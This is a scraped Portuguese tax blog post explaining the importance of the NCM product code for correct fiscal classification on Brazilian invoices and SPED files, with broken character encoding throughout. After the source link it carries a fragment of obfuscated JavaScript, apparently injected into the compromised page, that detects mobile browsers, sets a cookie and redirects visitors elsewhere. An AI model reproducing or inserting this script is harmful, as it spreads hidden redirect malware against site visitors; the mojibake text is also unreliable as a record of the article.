A importA?ncia da NCM na correta classificaA�A?o fiscal


NCM-IMAGEM

 

A Nomenclatura Comum do MERCOSUL/Sistema Harmonizado a�� NCM/SH deverA? ser informada na nota fiscal modelo 1 ou 1-A A�e na nota fiscal A�eletrA?nica modelo 55, A�quando realizadas as operaA�A�es por estabelecimento industrial ou a ele equiparado, A� obrigatA?ria a utilizaA�A?o do NCM completo, ou seja, com oito dA�gitos. Nas operaA�A�es praticadas pelo comercio varejista ou atacadista, apenas A� obrigatA?ria a indicaA�A?o do CapA�tulo composto por dois dA�gitos, no entanto, para gerar os arquivos do SPED A� necessA?rio nas operaA�A�es informar os oito dA�gitos da NCM.

Na classificaA�A?o fiscal do produto A� muito importante informar a correta NCM. AtravA�s da NCM, poderemos identificar o produto e em vA?rios casos informar a correta tributaA�A?o a ele aplicA?vel; essa A� uma das formas que muitas vezes o Fisco utiliza para aplicar a tributaA�A?o a determinados produtos.

Por exemplo, para aplicar o regime de substituiA�A?o tributA?ria do ICMS, no estado de SA?o Paulo A� usada a descriA�A?o bem como o NCM, conforme menciona a DecisA?o Normativa CAT 12/2009. Muitas empresas tentando reduzir sua carga tributA?ria acabam classificando o produto em um cA?digo de NCM errado, o destinatA?rio da mercadoria precisa ficar atento a essa situaA�A?o, pois corre o risco de ser responsabilizado solidariamente pela irregularidade.

A correta interpretaA�A?o daA�classificaA�A?o fiscalA�de um produto nA?o A� uma tarefa fA?cil. Classificar um produto sem as devidas cautelas pode gerar prejuA�zo tanto para quem emite o documento fiscal quanto para quem recebe. A� muito difA�cil, principalmente para o comercio varejista, conseguir realizar esse trabalho sem auxilio de profissionais especializados.

Fonte: Blog TributA?rio
Link:A�http://mixfiscal.com.br/blog/a-importancia-da-ncm-na-correta-classificacao-fiscal/ \-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}